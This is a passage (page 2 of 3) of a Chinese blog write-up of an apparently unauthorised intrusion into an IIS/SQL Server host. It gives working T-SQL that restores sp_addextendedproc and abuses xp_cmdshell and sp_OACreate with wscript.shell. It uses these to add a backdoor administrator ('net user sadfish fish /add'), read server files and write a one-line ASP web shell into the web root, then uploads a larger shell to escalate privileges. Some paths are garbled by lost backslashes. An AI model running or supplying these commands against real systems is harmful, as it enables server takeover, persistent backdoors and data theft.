[攻防手记]记一次简单的渗透测试

作者:2008-01-08 09:28:51| 点击:0| 评论:0|第2页/共3页 << 上一页|下一页 >>

相关标签: 数码 | 业界 | 网络风云

侠客:gg1414@yahoo.cn

  原来管理员把sp_addextendedproc也删了。

  于是只能先恢复sp_addextendedproc,语句如下:

  create procedure sp_addextendedproc --- 1996/08/30 20:13

  @functname nvarchar(517),/* (owner.)name of function to call */

  @dllname varchar(255)/* name of DLL containing function */

  as

  set implicit_transactions off

  if @@trancount > 0

  begin

  raiserror(15002,-1,-1,'sp_addextendedproc')

  return (1)

  end

  dbcc addextendedproc( @functname, @dllname)

  return (0) -- sp_addextendedproc

  GO

  执行成功,然后恢复存储过程,成功恢复了所用存储过,但是在执行exec master.dbo.xp_cmdshell 'net user'

  的时候却提示:

  ODBC:消息 0,级别 16,状态 1,无法装载 DLL xp_cmdshell.dll 或该 DLL 所引用的某一 DLL。

  原因:126(error not found)。

  原来管理员把DLL 都删了。然后又想能不能使用SP_OAcreate来加个管理员呢?

  于是在查询分析器里执行:

  DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD

  @shell,'run',null, 'C:WINdowssystem32cmd.exe /c net user sadfish fish /add'

  来添加个密码用户为sadfish的管理员,提示命令完成,于是马上执行:

  DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINdowssystem32cmd.exe /c netstat -an >c:.txt' 就是把netstat -an的结果显示在1.txt里保存在c:,提示成功。

  然后继续使用:

  declare @o int, @f int, @t int, @ret int

  declare @line varchar(8000)

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'opentextfile', @f out, 'c:.txt', 1

  exec @ret = sp_oamethod @f, 'readline', @line out

  while( @ret = 0 )

  begin

  print @line

  exec @ret = sp_oamethod @f, 'readline', @line out

  end

  来读取1.txt里的内容,但是却发现不存在1.txt。

  难道SP_OAcreate也不能用?是不是wscript.shell被删了?歇一会,整理下思路重新来,先用xp_subdirs来找WEB目录,语句是exec master.dbo.xp_subdirs 'c":',发现服务器只有C、D两个磁盘,并且文件夹也不多。怎么越来越感觉像是数据库服务器呢?不过既然有数据库了也可以找到后台通过后台备份拿个SHELL,不过这个SA要是拿不到服务器权限那真是有点丢人了。用阿D通过刚才的注射点扫一下后台,竟然没扫到,只发现了一个inc目录下有个test.asp 文件,打开后竟然发现了WEB目录。

  原来WEB目录是C:Inetpub ianhong ,一般感觉管理员都不会用C:Inetpub这个目录,自己也就没看,差点坏了大事。

  不过既然知道了WEB目录 就可以写一个一句话进去啦 语句如下

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out, 'c:Inetpub ianhong.asp', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,

  ''

  命令执行成功 看来一句话写进去了,马上使用客户端连一下,连接成功。

  马上传大马准备提权,服务器没什么第三方软件->开始→程序目录不能浏览,2000的操作系统,权限设置的还算严格,看一下终端,一看吓一跳,管理员把终端改成了21端口,第一次碰到。

点击:0评论:0好评:0坏评:0
 

最新评论

标题作者发布时间

发表评论

您必须登录后才能发表评论,  请登录  新用户?注册


    精彩推荐